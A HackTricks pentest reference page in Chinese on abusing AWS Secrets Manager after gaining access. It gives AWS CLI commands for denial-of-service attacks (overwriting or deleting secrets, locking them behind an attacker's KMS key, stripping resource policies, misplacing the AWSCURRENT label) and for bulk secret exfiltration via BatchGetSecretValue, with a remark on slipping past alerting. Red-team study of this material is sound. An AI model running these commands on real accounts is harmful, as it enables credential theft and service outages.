AWS - Secrets Manager Post Exploitation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Secrets Manager

更多信息请参阅:

AWS - Secrets Manager Enum

读取 Secrets

secrets 本身是敏感信息查看 privesc 页面 了解如何读取它们。

DoS 更改 Secret 值

更改 secret 的值可能会对所有依赖该值的系统造成 DoS。

Warning

请注意,之前的值也会被存储,因此很容易恢复到之前的值。

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS 更改 KMS key

如果攻击者拥有 secretsmanager:UpdateSecret 权限,他们可以将 secret 配置为使用由攻击者拥有的 KMS key。该 key 最初被设置为任何人都可以访问和使用,因此可以使用新 key 更新 secret。如果该 key 无法访问,就无法更新 secret。

在为 secret 更改 key 之后,攻击者修改其 key 的配置,使只有他们自己可以访问。这样,在 secret 的后续版本中,内容会用新 key 加密,由于无法访问该 key,检索 secret 的能力将丧失。

需要注意的是,这种不可访问性只会出现在后续版本(即 secret 内容发生变化之后),因为当前版本仍然使用原始 KMS key 加密。

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Deleting Secret

删除 secret 的最小等待天数为 7 天

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

可以恢复 secret,这允许恢复已被标记为删除的 secrets,因为 secrets 的最短删除期为 7 天,最长为 30 天。结合 secretsmanager:GetSecretValue 权限,这就可以检索它们的内容。

要恢复处于删除过程中的 secret,可以使用以下命令:

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

此操作允许删除控制谁可以访问 secret 的 resource policy。这可能导致 DoS,如果该 resource policy 被配置为仅允许特定一组用户访问。

要删除 resource policy:

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

secret 的状态用于管理其版本。AWSCURRENT 标记应用程序使用的活动版本,AWSPREVIOUS 保留前一个版本以便在必要时回滚,AWSPENDING 在轮换过程中用于准备并验证新版本,然后再将其设为当前版本。

应用程序始终读取带有 AWSCURRENT 的版本。如果有人把该标签移动到错误的版本,应用将使用无效凭证并可能失败。

AWSPREVIOUS 不会被自动使用。然而,如果 AWSCURRENT 被移除或错误地重新分配,可能看起来一切仍在使用之前的版本运行。

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue(每次最多 20 个)

滥用 Secrets Manager 的 BatchGetSecretValue API 在单个请求中检索最多 20 个 secrets。与对每个 secret 逐一调用 GetSecretValue 相比,这可以显著减少 API 调用量。如果使用 filters(tags/name),还需要 ListSecrets 权限。CloudTrail 仍会为批量中检索的每个 secret 记录一条 GetSecretValue 事件。

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue(针对每个目标 secret)
  • secretsmanager:ListSecrets(如果使用 –filters)
  • kms:Decrypt(对 secrets 使用的 CMKs;若使用 aws/secretsmanager 则不需要)

Warning

请注意,权限 secretsmanager:BatchGetSecretValue 本身不足以检索 secrets,你还需要对每个要检索的 secret 拥有 secretsmanager:GetSecretValue 权限。

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

通过过滤器(tag key/value 或 name prefix)进行外传

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

处理部分失败

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

影响

  • 使用更少的 API 调用快速对大量 secret 进行 “smash-and-grab”,可能绕过针对 GetSecretValue 突增而调整的告警。
  • CloudTrail 日志仍会包含批量检索的每个 secret 的一个 GetSecretValue 事件。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks